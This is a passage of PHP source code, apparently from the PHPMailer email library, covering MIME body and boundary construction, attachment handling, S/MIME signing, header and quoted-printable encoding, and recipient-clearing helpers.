3320 $bodyEncoding = '7bit';
3321 $bodyCharSet = 'us-ascii';
3322 }
3323 $altBodyEncoding = $this->Encoding;
3324 $altBodyCharSet = $this->CharSet;
3325 if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
3326 $altBodyEncoding = '7bit';
3327 $altBodyCharSet = 'us-ascii';
3328 }
3329 switch ($this->message_type) {
3330 case 'inline':
3331 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
3332 $body .= $this->encodeString($this->Body, $bodyEncoding);
3333 $body .= $this->LE . $this->LE;
3334 $body .= $this->attachAll('inline', $this->boundary[1]);
3335 break;
3336 case 'attach':
3337 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
3338 $body .= $this->encodeString($this->Body, $bodyEncoding);
3339 $body .= $this->LE . $this->LE;
3340 $body .= $this->attachAll('attachment', $this->boundary[1]);
3341 break;
3342 case 'inline_attach':
3343 $body .= $this->textLine('--' . $this->boundary[1]);
3344 $body .= $this->headerLine('Content-Type', 'multipart/related;');
3345 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
3346 $body .= $this->LE;
3347 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
3348 $body .= $this->encodeString($this->Body, $bodyEncoding);
3349 $body .= $this->LE . $this->LE;
3350 $body .= $this->attachAll('inline', $this->boundary[2]);
3351 $body .= $this->LE;
3352 $body .= $this->attachAll('attachment', $this->boundary[1]);
3353 break;
3354 case 'alt':
3355 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
3356 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
3357 $body .= $this->LE . $this->LE;
3358 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
3359 $body .= $this->encodeString($this->Body, $bodyEncoding);
3360 $body .= $this->LE . $this->LE;
3361 if (!empty($this->Ical)) {
3362 $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
3363 $body .= $this->encodeString($this->Ical, $this->Encoding);
3364 $body .= $this->LE . $this->LE;
3365 }
3366 $body .= $this->endBoundary($this->boundary[1]);
3367 break;
3368 case 'alt_inline':
3369 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
3370 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
3371 $body .= $this->LE . $this->LE;
3372 $body .= $this->textLine('--' . $this->boundary[1]);
3373 $body .= $this->headerLine('Content-Type', 'multipart/related;');
3374 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
3375 $body .= $this->LE;
3376 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
3377 $body .= $this->encodeString($this->Body, $bodyEncoding);
3378 $body .= $this->LE . $this->LE;
3379 $body .= $this->attachAll('inline', $this->boundary[2]);
3380 $body .= $this->LE;
3381 $body .= $this->endBoundary($this->boundary[1]);
3382 break;
3383 case 'alt_attach':
3384 $body .= $this->textLine('--' . $this->boundary[1]);
3385 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
3386 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
3387 $body .= $this->LE;
3388 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
3389 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
3390 $body .= $this->LE . $this->LE;
3391 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
3392 $body .= $this->encodeString($this->Body, $bodyEncoding);
3393 $body .= $this->LE . $this->LE;
3394 $body .= $this->endBoundary($this->boundary[2]);
3395 $body .= $this->LE;
3396 $body .= $this->attachAll('attachment', $this->boundary[1]);
3397 break;
3398 case 'alt_inline_attach':
3399 $body .= $this->textLine('--' . $this->boundary[1]);
3400 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
3401 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
3402 $body .= $this->LE;
3403 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
3404 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
3405 $body .= $this->LE . $this->LE;
3406 $body .= $this->textLine('--' . $this->boundary[2]);
3407 $body .= $this->headerLine('Content-Type', 'multipart/related;');
3408 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
3409 $body .= $this->LE;
3410 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
3411 $body .= $this->encodeString($this->Body, $bodyEncoding);
3412 $body .= $this->LE . $this->LE;
3413 $body .= $this->attachAll('inline', $this->boundary[3]);
3414 $body .= $this->LE;
3415 $body .= $this->endBoundary($this->boundary[2]);
3416 $body .= $this->LE;
3417 $body .= $this->attachAll('attachment', $this->boundary[1]);
3418 break;
3419 default:
3420 // catch case 'plain' and case ''
3421 $body .= $this->encodeString($this->Body, $bodyEncoding);
3422 break;
3423 }
3424
3425 if ($this->isError()) {
3426 $body = '';
3427 } elseif ($this->sign_key_file) {
3428 try {
3429 if (!defined('PKCS7_TEXT')) {
3430 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
3431 }
3432 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
3433 $file = tempnam(sys_get_temp_dir(), 'mail');
3434 if (false === file_put_contents($file, $body)) {
3435 throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
3436 }
3437 $signed = tempnam(sys_get_temp_dir(), 'signed');
3438 if (@openssl_pkcs7_sign(
3439 $file,
3440 $signed,
3441 'file://' . realpath($this->sign_cert_file),
3442 array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
3443 null
3444 )
3445 ) {
3446 @unlink($file);
3447 $body = file_get_contents($signed);
3448 @unlink($signed);
3449 } else {
3450 @unlink($file);
3451 @unlink($signed);
3452 throw new phpmailerException($this->lang('signing') . openssl_error_string());
3453 }
3454 } catch (phpmailerException $exc) {
3455 $body = '';
3456 if ($this->exceptions) {
3457 throw $exc;
3458 }
3459 }
3460 }
3461 return $body;
3462 }
3463
3464 /**
3465 * Return the start of a message boundary.
3466 * @access protected
3467 * @param string $boundary
3468 * @param string $charSet
3469 * @param string $contentType
3470 * @param string $encoding
3471 * @return string
3472 */
3473 protected function getBoundary($boundary, $charSet, $contentType, $encoding)
3474 {
3475 $result = '';
3476 if ($charSet == '') {
3477 $charSet = $this->CharSet;
3478 }
3479 if ($contentType == '') {
3480 $contentType = $this->ContentType;
3481 }
3482 if ($encoding == '') {
3483 $encoding = $this->Encoding;
3484 }
3485 $result .= $this->textLine('--' . $boundary);
3486 $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
3487 $result .= $this->LE;
3488 // RFC1341 part 5 says 7bit is assumed if not specified
3489 if ($encoding != '7bit') {
3490 $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
3491 }
3492 $result .= $this->LE;
3493
3494 return $result;
3495 }
3496
3497 /**
3498 * Return the end of a message boundary.
3499 * @access protected
3500 * @param string $boundary
3501 * @return string
3502 */
3503 protected function endBoundary($boundary)
3504 {
3505 return $this->LE . '--' . $boundary . '--' . $this->LE;
3506 }
3507
3508 /**
3509 * Set the message type.
3510 * PHPMailer only supports some preset message types,
3511 * not arbitrary MIME structures.
3512 * @access protected
3513 * @return void
3514 */
3515 protected function setMessageType()
3516 {
3517 $type = array();
3518 if ($this->alternativeExists()) {
3519 $type[] = 'alt';
3520 }
3521 if ($this->inlineImageExists()) {
3522 $type[] = 'inline';
3523 }
3524 if ($this->attachmentExists()) {
3525 $type[] = 'attach';
3526 }
3527 $this->message_type = implode('_', $type);
3528 if ($this->message_type == '') {
3529 $this->message_type = 'plain';
3530 }
3531 }
3532
3533 /**
3534 * Format a header line.
3535 * @access public
3536 * @param string $name
3537 * @param string $value
3538 * @return string
3539 */
3540 public function headerLine($name, $value)
3541 {
3542 return $name . ': ' . $value . $this->LE;
3543 }
3544
3545 /**
3546 * Return a formatted mail line.
3547 * @access public
3548 * @param string $value
3549 * @return string
3550 */
3551 public function textLine($value)
3552 {
3553 return $value . $this->LE;
3554 }
3555
3556 /**
3557 * Add an attachment from a path on the filesystem.
3558 * Returns false if the file could not be found or read.
3559 * @param string $path Path to the attachment.
3560 * @param string $name Overrides the attachment name.
3561 * @param string $encoding File encoding (see $Encoding).
3562 * @param string $type File extension (MIME) type.
3563 * @param string $disposition Disposition to use
3564 * @throws phpmailerException
3565 * @return boolean
3566 */
3567 public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
3568 {
3569 try {
3570 if (!@is_file($path)) {
3571 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
3572 }
3573
3574 // If a MIME type is not specified, try to work it out from the file name
3575 if ($type == '') {
3576 $type = self::filenameToType($path);
3577 }
3578
3579 $filename = basename($path);
3580 if ($name == '') {
3581 $name = $filename;
3582 }
3583
3584 $this->attachment[] = array(
3585 0 => $path,
3586 1 => $filename,
3587 2 => $name,
3588 3 => $encoding,
3589 4 => $type,
3590 5 => false, // isStringAttachment
3591 6 => $disposition,
3592 7 => 0
3593 );
3594
3595 } catch (phpmailerException $exc) {
3596 $this->setError($exc->getMessage());
3597 $this->edebug($exc->getMessage());
3598 if ($this->exceptions) {
3599 throw $exc;
3600 }
3601 return false;
3602 }
3603 return true;
3604 }
3605
3606 /**
3607 * Return the array of attachments.
3608 * @return array
3609 */
3610 public function getAttachments()
3611 {
3612 return $this->attachment;
3613 }
3614
3615 /**
3616 * Attach all file, string, and binary attachments to the message.
3617 * Returns an empty string on failure.
3618 * @access protected
3619 * @param string $disposition_type
3620 * @param string $boundary
3621 * @return string
3622 */
3623 protected function attachAll($disposition_type, $boundary)
3624 {
3625 // Return text of body
3626 $mime = array();
3627 $cidUniq = array();
3628 $incl = array();
3629
3630 // Add all attachments
3631 foreach ($this->attachment as $attachment) {
3632 // Check if it is a valid disposition_filter
3633 if ($attachment[6] == $disposition_type) {
3634 // Check for string attachment
3635 $string = '';
3636 $path = '';
3637 $bString = $attachment[5];
3638 if ($bString) {
3639 $string = $attachment[0];
3640 } else {
3641 $path = $attachment[0];
3642 }
3643
3644 $inclhash = md5(serialize($attachment));
3645 if (in_array($inclhash, $incl)) {
3646 continue;
3647 }
3648 $incl[] = $inclhash;
3649 $name = $attachment[2];
3650 $encoding = $attachment[3];
3651 $type = $attachment[4];
3652 $disposition = $attachment[6];
3653 $cid = $attachment[7];
3654 if ($disposition == 'inline' && isset($cidUniq[$cid])) {
3655 continue;
3656 }
3657 $cidUniq[$cid] = true;
3658
3659 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
3660 $mime[] = sprintf(
3661 'Content-Type: %s; name="%s"%s',
3662 $type,
3663 $this->encodeHeader($this->secureHeader($name)),
3664 $this->LE
3665 );
3666 // RFC1341 part 5 says 7bit is assumed if not specified
3667 if ($encoding != '7bit') {
3668 $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
3669 }
3670
3671 if ($disposition == 'inline') {
3672 $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
3673 }
3674
3675 // If a filename contains any of these chars, it should be quoted,
3676 // but not otherwise: RFC2183 & RFC2045 5.1
3677 // Fixes a warning in IETF's msglint MIME checker
3678 // Allow for bypassing the Content-Disposition header totally
3679 if (!(empty($disposition))) {
3680 $encoded_name = $this->encodeHeader($this->secureHeader($name));
3681 if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
3682 $mime[] = sprintf(
3683 'Content-Disposition: %s; filename="%s"%s',
3684 $disposition,
3685 $encoded_name,
3686 $this->LE . $this->LE
3687 );
3688 } else {
3689 $mime[] = sprintf(
3690 'Content-Disposition: %s; filename=%s%s',
3691 $disposition,
3692 $encoded_name,
3693 $this->LE . $this->LE
3694 );
3695 }
3696 } else {
3697 $mime[] = $this->LE;
3698 }
3699
3700 // Encode as string attachment
3701 if ($bString) {
3702 $mime[] = $this->encodeString($string, $encoding);
3703 if ($this->isError()) {
3704 return '';
3705 }
3706 $mime[] = $this->LE . $this->LE;
3707 } else {
3708 $mime[] = $this->encodeFile($path, $encoding);
3709 if ($this->isError()) {
3710 return '';
3711 }
3712 $mime[] = $this->LE . $this->LE;
3713 }
3714 }
3715 }
3716
3717 $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
3718
3719 return implode('', $mime);
3720 }
3721
3722 /**
3723 * Encode a file attachment in requested format.
3724 * Returns an empty string on failure.
3725 * @param string $path The full path to the file
3726 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
3727 * @throws phpmailerException
3728 * @see EncodeFile(encodeFile
3729 * @access protected
3730 * @return string
3731 */
3732 protected function encodeFile($path, $encoding = 'base64')
3733 {
3734 try {
3735 if (!is_readable($path)) {
3736 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
3737 }
3738 $magic_quotes = get_magic_quotes_runtime();
3739 if ($magic_quotes) {
3740 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
3741 set_magic_quotes_runtime(false);
3742 } else {
3743 //Doesn't exist in PHP 5.4, but we don't need to check because
3744 //get_magic_quotes_runtime always returns false in 5.4+
3745 //so it will never get here
3746 ini_set('magic_quotes_runtime', 0);
3747 }
3748 }
3749 $file_buffer = file_get_contents($path);
3750 $file_buffer = $this->encodeString($file_buffer, $encoding);
3751 if ($magic_quotes) {
3752 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
3753 set_magic_quotes_runtime($magic_quotes);
3754 } else {
3755 ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
3756 }
3757 }
3758 return $file_buffer;
3759 } catch (Exception $exc) {
3760 $this->setError($exc->getMessage());
3761 return '';
3762 }
3763 }
3764
3765 /**
3766 * Encode a string in requested format.
3767 * Returns an empty string on failure.
3768 * @param string $str The text to encode
3769 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
3770 * @access public
3771 * @return string
3772 */
3773 public function encodeString($str, $encoding = 'base64')
3774 {
3775 $encoded = '';
3776 switch (strtolower($encoding)) {
3777 case 'base64':
3778 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
3779 break;
3780 case '7bit':
3781 case '8bit':
3782 $encoded = $this->fixEOL($str);
3783 // Make sure it ends with a line break
3784 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
3785 $encoded .= $this->LE;
3786 }
3787 break;
3788 case 'binary':
3789 $encoded = $str;
3790 break;
3791 case 'quoted-printable':
3792 $encoded = $this->encodeQP($str);
3793 break;
3794 default:
3795 $this->setError($this->lang('encoding') . $encoding);
3796 break;
3797 }
3798 return $encoded;
3799 }
3800
3801 /**
3802 * Encode a header string optimally.
3803 * Picks shortest of Q, B, quoted-printable or none.
3804 * @access public
3805 * @param string $str
3806 * @param string $position
3807 * @return string
3808 */
3809 public function encodeHeader($str, $position = 'text')
3810 {
3811 $matchcount = 0;
3812 switch (strtolower($position)) {
3813 case 'phrase':
3814 if (!preg_match('/[\200-\377]/', $str)) {
3815 // Can't use addslashes as we don't know the value of magic_quotes_sybase
3816 $encoded = addcslashes($str, "\0..\37\177\\\"");
3817 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
3818 return ($encoded);
3819 } else {
3820 return ("\"$encoded\"");
3821 }
3822 }
3823 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
3824 break;
3825 /** @noinspection PhpMissingBreakStatementInspection */
3826 case 'comment':
3827 $matchcount = preg_match_all('/[()"]/', $str, $matches);
3828 // Intentional fall-through
3829 case 'text':
3830 default:
3831 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
3832 break;
3833 }
3834
3835 if ($matchcount == 0) { // There are no chars that need encoding
3836 return ($str);
3837 }
3838
3839 $maxlen = 75 - 7 - strlen($this->CharSet);
3840 // Try to select the encoding which should produce the shortest output
3841 if ($matchcount > strlen($str) / 3) {
3842 // More than a third of the content will need encoding, so B encoding will be most efficient
3843 $encoding = 'B';
3844 if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
3845 // Use a custom function which correctly encodes and wraps long
3846 // multibyte strings without breaking lines within a character
3847 $encoded = $this->base64EncodeWrapMB($str, "\n");
3848 } else {
3849 $encoded = base64_encode($str);
3850 $maxlen -= $maxlen % 4;
3851 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
3852 }
3853 } else {
3854 $encoding = 'Q';
3855 $encoded = $this->encodeQ($str, $position);
3856 $encoded = $this->wrapText($encoded, $maxlen, true);
3857 $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
3858 }
3859
3860 $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
3861 $encoded = trim(str_replace("\n", $this->LE, $encoded));
3862
3863 return $encoded;
3864 }
3865
3866 /**
3867 * Check if a string contains multi-byte characters.
3868 * @access public
3869 * @param string $str multi-byte text to wrap encode
3870 * @return boolean
3871 */
3872 public function hasMultiBytes($str)
3873 {
3874 if (function_exists('mb_strlen')) {
3875 return (strlen($str) > mb_strlen($str, $this->CharSet));
3876 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
3877 return false;
3878 }
3879 }
3880
3881 /**
3882 * Does a string contain any 8-bit chars (in any charset)?
3883 * @param string $text
3884 * @return boolean
3885 */
3886 public function has8bitChars($text)
3887 {
3888 return (boolean)preg_match('/[\x80-\xFF]/', $text);
3889 }
3890
3891 /**
3892 * Encode and wrap long multibyte strings for mail headers
3893 * without breaking lines within a character.
3894 * Adapted from a function by paravoid
3895 * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
3896 * @access public
3897 * @param string $str multi-byte text to wrap encode
3898 * @param string $linebreak string to use as linefeed/end-of-line
3899 * @return string
3900 */
3901 public function base64EncodeWrapMB($str, $linebreak = null)
3902 {
3903 $start = '=?' . $this->CharSet . '?B?';
3904 $end = '?=';
3905 $encoded = '';
3906 if ($linebreak === null) {
3907 $linebreak = $this->LE;
3908 }
3909
3910 $mb_length = mb_strlen($str, $this->CharSet);
3911 // Each line must have length <= 75, including $start and $end
3912 $length = 75 - strlen($start) - strlen($end);
3913 // Average multi-byte ratio
3914 $ratio = $mb_length / strlen($str);
3915 // Base64 has a 4:3 ratio
3916 $avgLength = floor($length * $ratio * .75);
3917
3918 for ($i = 0; $i < $mb_length; $i += $offset) {
3919 $lookBack = 0;
3920 do {
3921 $offset = $avgLength - $lookBack;
3922 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
3923 $chunk = base64_encode($chunk);
3924 $lookBack++;
3925 } while (strlen($chunk) > $length);
3926 $encoded .= $chunk . $linebreak;
3927 }
3928
3929 // Chomp the last linefeed
3930 $encoded = substr($encoded, 0, -strlen($linebreak));
3931 return $encoded;
3932 }
3933
3934 /**
3935 * Encode a string in quoted-printable format.
3936 * According to RFC2045 section 6.7.
3937 * @access public
3938 * @param string $string The text to encode
3939 * @param integer $line_max Number of chars allowed on a line before wrapping
3940 * @return string
3941 * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
3942 */
3943 public function encodeQP($string, $line_max = 76)
3944 {
3945 if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
3946 return $this->fixEOL(quoted_printable_encode($string));
3947 }
3948 // Fall back to a pure PHP implementation
3949 $string = str_replace(
3950 array('%20', '%0D%0A.', '%0D%0A', '%'),
3951 array(' ', "\r\n=2E", "\r\n", '='),
3952 rawurlencode($string)
3953 );
3954 $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
3955 return $this->fixEOL($string);
3956 }
3957
3958 /**
3959 * Backward compatibility wrapper for an old QP encoding function that was removed.
3960 * @see PHPMailer::encodeQP()
3961 * @access public
3962 * @param string $string
3963 * @param integer $line_max
3964 * @param boolean $space_conv
3965 * @return string
3966 * @deprecated Use encodeQP instead.
3967 */
3968 public function encodeQPphp(
3969 $string,
3970 $line_max = 76,
3971 /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
3972 ) {
3973 return $this->encodeQP($string, $line_max);
3974 }
3975
3976 /**
3977 * Encode a string using Q encoding.
3978 * @link http://tools.ietf.org/html/rfc2047
3979 * @param string $str the text to encode
3980 * @param string $position Where the text is going to be used, see the RFC for what that means
3981 * @access public
3982 * @return string
3983 */
3984 public function encodeQ($str, $position = 'text')
3985 {
3986 // There should not be any EOL in the string
3987 $pattern = '';
3988 $encoded = str_replace(array("\r", "\n"), '', $str);
3989 switch (strtolower($position)) {
3990 case 'phrase':
3991 // RFC 2047 section 5.3
3992 $pattern = '^A-Za-z0-9!*+\/ -';
3993 break;
3994 /** @noinspection PhpMissingBreakStatementInspection */
3995 case 'comment':
3996 // RFC 2047 section 5.2
3997 $pattern = '\(\)"';
3998 // intentional fall-through
3999 // for this reason we build the $pattern without including delimiters and []
4000 case 'text':
4001 default:
4002 // RFC 2047 section 5.1
4003 // Replace every high ascii, control, =, ? and _ characters
4004 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
4005 break;
4006 }
4007 $matches = array();
4008 if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
4009 // If the string contains an '=', make sure it's the first thing we replace
4010 // so as to avoid double-encoding
4011 $eqkey = array_search('=', $matches[0]);
4012 if (false !== $eqkey) {
4013 unset($matches[0][$eqkey]);
4014 array_unshift($matches[0], '=');
4015 }
4016 foreach (array_unique($matches[0]) as $char) {
4017 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
4018 }
4019 }
4020 // Replace every spaces to _ (more readable than =20)
4021 return str_replace(' ', '_', $encoded);
4022 }
4023
4024
4025 /**
4026 * Add a string or binary attachment (non-filesystem).
4027 * This method can be used to attach ascii or binary data,
4028 * such as a BLOB record from a database.
4029 * @param string $string String attachment data.
4030 * @param string $filename Name of the attachment.
4031 * @param string $encoding File encoding (see $Encoding).
4032 * @param string $type File extension (MIME) type.
4033 * @param string $disposition Disposition to use
4034 * @return void
4035 */
4036 public function addStringAttachment(
4037 $string,
4038 $filename,
4039 $encoding = 'base64',
4040 $type = '',
4041 $disposition = 'attachment'
4042 ) {
4043 // If a MIME type is not specified, try to work it out from the file name
4044 if ($type == '') {
4045 $type = self::filenameToType($filename);
4046 }
4047 // Append to $attachment array
4048 $this->attachment[] = array(
4049 0 => $string,
4050 1 => $filename,
4051 2 => basename($filename),
4052 3 => $encoding,
4053 4 => $type,
4054 5 => true, // isStringAttachment
4055 6 => $disposition,
4056 7 => 0
4057 );
4058 }
4059
4060 /**
4061 * Add an embedded (inline) attachment from a file.
4062 * This can include images, sounds, and just about any other document type.
4063 * These differ from 'regular' attachments in that they are intended to be
4064 * displayed inline with the message, not just attached for download.
4065 * This is used in HTML messages that embed the images
4066 * the HTML refers to using the $cid value.
4067 * @param string $path Path to the attachment.
4068 * @param string $cid Content ID of the attachment; Use this to reference
4069 * the content when using an embedded image in HTML.
4070 * @param string $name Overrides the attachment name.
4071 * @param string $encoding File encoding (see $Encoding).
4072 * @param string $type File MIME type.
4073 * @param string $disposition Disposition to use
4074 * @return boolean True on successfully adding an attachment
4075 */
4076 public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
4077 {
4078 if (!@is_file($path)) {
4079 $this->setError($this->lang('file_access') . $path);
4080 return false;
4081 }
4082
4083 // If a MIME type is not specified, try to work it out from the file name
4084 if ($type == '') {
4085 $type = self::filenameToType($path);
4086 }
4087
4088 $filename = basename($path);
4089 if ($name == '') {
4090 $name = $filename;
4091 }
4092
4093 // Append to $attachment array
4094 $this->attachment[] = array(
4095 0 => $path,
4096 1 => $filename,
4097 2 => $name,
4098 3 => $encoding,
4099 4 => $type,
4100 5 => false, // isStringAttachment
4101 6 => $disposition,
4102 7 => $cid
4103 );
4104 return true;
4105 }
4106
4107 /**
4108 * Add an embedded stringified attachment.
4109 * This can include images, sounds, and just about any other document type.
4110 * Be sure to set the $type to an image type for images:
4111 * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
4112 * @param string $string The attachment binary data.
4113 * @param string $cid Content ID of the attachment; Use this to reference
4114 * the content when using an embedded image in HTML.
4115 * @param string $name
4116 * @param string $encoding File encoding (see $Encoding).
4117 * @param string $type MIME type.
4118 * @param string $disposition Disposition to use
4119 * @return boolean True on successfully adding an attachment
4120 */
4121 public function addStringEmbeddedImage(
4122 $string,
4123 $cid,
4124 $name = '',
4125 $encoding = 'base64',
4126 $type = '',
4127 $disposition = 'inline'
4128 ) {
4129 // If a MIME type is not specified, try to work it out from the name
4130 if ($type == '') {
4131 $type = self::filenameToType($name);
4132 }
4133
4134 // Append to $attachment array
4135 $this->attachment[] = array(
4136 0 => $string,
4137 1 => $name,
4138 2 => $name,
4139 3 => $encoding,
4140 4 => $type,
4141 5 => true, // isStringAttachment
4142 6 => $disposition,
4143 7 => $cid
4144 );
4145 return true;
4146 }
4147
4148 /**
4149 * Check if an inline attachment is present.
4150 * @access public
4151 * @return boolean
4152 */
4153 public function inlineImageExists()
4154 {
4155 foreach ($this->attachment as $attachment) {
4156 if ($attachment[6] == 'inline') {
4157 return true;
4158 }
4159 }
4160 return false;
4161 }
4162
4163 /**
4164 * Check if an attachment (non-inline) is present.
4165 * @return boolean
4166 */
4167 public function attachmentExists()
4168 {
4169 foreach ($this->attachment as $attachment) {
4170 if ($attachment[6] == 'attachment') {
4171 return true;
4172 }
4173 }
4174 return false;
4175 }
4176
4177 /**
4178 * Check if this message has an alternative body set.
4179 * @return boolean
4180 */
4181 public function alternativeExists()
4182 {
4183 return !empty($this->AltBody);
4184 }
4185
4186 /**
4187 * Clear all To recipients.
4188 * @return void
4189 */
4190 public function clearAddresses()
4191 {
4192 foreach ($this->to as $to) {
4193 unset($this->all_recipients[strtolower($to[0])]);
4194 }
4195 $this->to = array();
4196 }
4197
4198 /**
4199 * Clear all CC recipients.
4200 * @return void
4201 */
4202 public function clearCCs()
4203 {
4204 foreach ($this->cc as $cc) {
4205 unset($this->all_recipients[strtolower($cc[0])]);
4206 }
4207 $this->cc = array();
4208 }
4209
4210 /**
4211 * Clear all BCC recipients.
4212 * @return void
4213 */
4214 public function clearBCCs()
4215 {
4216 foreach ($this->bcc as $bcc) {
4217 unset($this->all_recipients[strtolower($bcc[0])]);
4218 }
4219 $this->bcc = array();
4220 }
4221
4222 /**
4223 * Clear all ReplyTo recipients.
4224 * @return void
4225 */
4226 public function clearReplyTos()
4227 {
4228 $this->ReplyTo = array();
4229 }
4230
4231 /**
4232 * Clear all recipient types.
4233 * @return void
4234 */
4235 public function clearAllRecipients()
4236 {
4237 $this->to = array();
4238 $this->cc = array();
4239 $this->bcc = array();
4240 $this->all_recipients = array();
4241 }
4242
4243 /**
4244 * Clear all filesystem, string, and binary attachments.
4245 * @return void
4246 */
4247 public function clearAttachments()
4248 {
4249 $this->attachment = array();
4250 }
4251
4252 /**
4253 * Clear all custom headers.
4254 * @return void
4255 */
4256 public function clearCustomHeaders()
4257 {
4258 $this->CustomHeader = array();
4259 }
4260
4261 /**
4262 * Add an error message to the error container.
4263 * @access protected
4264 * @param string $msg
4265 * @return void
4266 */
4267 protected function setError($msg)
4268 {
4269 $this->error_count++;
4270 if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
4271 $lasterror = $this->smtp->getError();
4272 if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
4273 $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
4274 }
4275 }
4276 $this->ErrorInfo = $msg;
4277 }
4278
4279 /**
4280 * Return an RFC 822 formatted date.
4281 * @access public
4282 * @return string
4283 * @static
4284 */
4285 public static function rfcDate()
4286 {
4287 // Set the time zone to whatever the default is to avoid 500 errors
4288 // Will default to UTC if it's not set properly in php.ini
4289 date_default_timezone_set(@date_default_timezone_get());
4290 return date('D, j M Y H:i:s O');
4291 }
4292
4293 /**
4294 * Get the server hostname.
4295 * Returns 'localhost.localdomain' if unknown.
4296 * @access protected
4297 * @return string
4298 */
4299 protected function serverHostname()
4300 {
4301 $result = 'localhost.localdomain';
4302 if (!empty($this->Hostname)) {
4303 $result = $this->Hostname;
4304 } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
4305 $result = $_SERVER['SERVER_NAME'];
4306 } elseif (function_exists('gethostname') && gethostname() !== false) {
4307 $result = gethostname();
4308 } elseif (php_uname('n') !== false) {
4309 $result = php_uname('n');
4310 }
4311 return $result;
4312 }
4313
4314 /**
4315 * Get an error message in the current language.
4316 * @access protected
4317 * @param string $key
4318 * @return string
4319 */
4320 protected function lang($key)
4321 {
4322 if (count($this->language) < 1) {
4323 $this->setLanguage('en'); // set the default language
4324 }
4325
4326 if (isset($this->language[$key])) {
4327 return $this->language[$key];
4328 } else {
4329 return 'Language string failed to load: ' . $key;
4330 }
4331 }
4332
4333 /**
4334 * Check if an error occurred.
4335 * @access public
4336 * @return boolean True if an error did occur.
4337 */
4338 public function isError()
4339 {
4340 return ($this->error_count > 0);
4341 }
4342
4343 /**
4344 * Ensure consistent line endings in a string.
4345 * Changes every end of line from CRLF, CR or LF to $this->LE.
4346 * @access public
4347 * @param string $str String to fixEOL
4348 * @return string
4349 */
4350 public function fixEOL($str)
4351 {
